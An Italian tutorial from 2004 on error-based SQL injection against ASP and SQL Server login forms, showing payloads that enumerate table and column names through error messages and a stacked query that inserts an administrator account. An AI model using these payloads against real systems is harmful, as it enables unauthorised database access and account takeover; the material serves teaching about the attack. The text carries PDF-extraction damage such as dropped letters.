Sicurezza Informatica: Tecniche avanzate di SQL

Sicurezza Informatica:
Tecniche avanzate di SQL INJECTION
Ottenere informazioni con i messaggi di errore
Pietro Bongli
Maggio 2004
N.B. L'informazione contenuta in queste pagine è divulgata per scopi
puramente didattici e non per ni illegali.
Questo articolo nasce come naturale continuazione di 'Tecniche di SQL INJECTION'
per questo invito, chi non lo avesse fatto, a leggere il precedente elaborato prima di
questo.
La tecnica descritta nelle seguenti pagine è stata scoperta per primo da Daivd Litcheld durante un test sulla sicurezza di un sistema informatico.
Nell'ottica di penetrare in un sistema tramite l'inserimento di login e password è
molto importante determinare la struttura del database, questo per poter accedere
a tutti i dati memorizzati ed eventualmente modicarli.
Supponiamo che sia stata creata la tabella 'users' tramite i seguenti comandi.
create table users(id int, username varchar(255),
password varchar(255), privs int)
e che poi siano stati inseriti i seguente dati,
insert
insert
insert
insert
into
into
into
into
users
users
users
users
values(0,
values(0,
values(0,
values(0,
'admin', 'r00tr00', 0xffff)
'guest', 'guest', 0x0000)
'rossi', 'sesamo', 0x00ff)
'bianchi', 'romano', 0x00ff)
Supponiamo che l'intruso voglia creare l'account per sé. Chiaramente senza conoscere
la struttura della tabella dicilmente avrebbe successo. Per sua fortuna è possibile
inserire instruzioni apposite che facilitano di molto il suo compito.
Studiando i messaggi di errore, restituiti per default dalle applicazioni sviluppate in
ASP, è possible determinare l'intera struttura del database e leggerne tutti i dati
1
inseriti.
Vediamo qualche esempio.
Per prima cosa l'intruso deve determinare il nome della tabella e quello dei vari
campi. Per fare questo si utilizza l'opzione 'having' del comando 'select':
username: ' having 1=1 --
Questo produrrà il seguente errore:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
Quindi l'intruso conosce il nome della tabella e della prima colonna. Muovendosi
attraverso le colonne sfruttando il comando 'group by', è possibile ottenere il nome
di tutte le colonne nel modo seguente:
username: 'group by users.id having 1=1 --
che produce il seguente messaggio di errore
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
da cui si ottiene il nome della seconda colonna. Continuando in questa maniera si
arriva no ad inserire
username: ' group by users.id, users.username,
users.password, users.privs having 1=1 --
2
che non restituisce nessun messaggio di errore. In questo modo si è trovato il nome
di ogni colonna della tabella.
È molto utile anche sapere il tipo di ogni colonna. Questo poù essere fatto usando
il messaggio di errore dato dall'istruzione di 'conversione di tipo'.
Ad esempio si può inserire
username: ' union select sum(username) from users--
Qui si sfrutta la debolezza dell'istruzione 'sum' che cerca di applicare il comando
prima di vericare che il campo sia numerico. Se l'istruzione viene applicata ad un
campo testuale si ottiene il seguente messaggio di errore
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
e da questo si stabilisce che il campo 'username' è di tipo 'varchar'.
Se invece il campo è numerico si ha il seguente messaggio.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/process_login.asp, line 35
In questa maniera è possibile determinare l'intera struttura del database.
Con queste informazioni è possibile per l'intruso inserire l'account desiderato utilizzando una istruzione di questo tipo.
username: '; insert into users values(666, 'intruso', 'apriti', 0xffff) --
Questa tecnica ore applicazioni più potenti in cui si vanno a sfruttare debolezze di
altre istruzioni SQL. Tutto questo verrà approfondito nelle prossime pubblicazioni.
3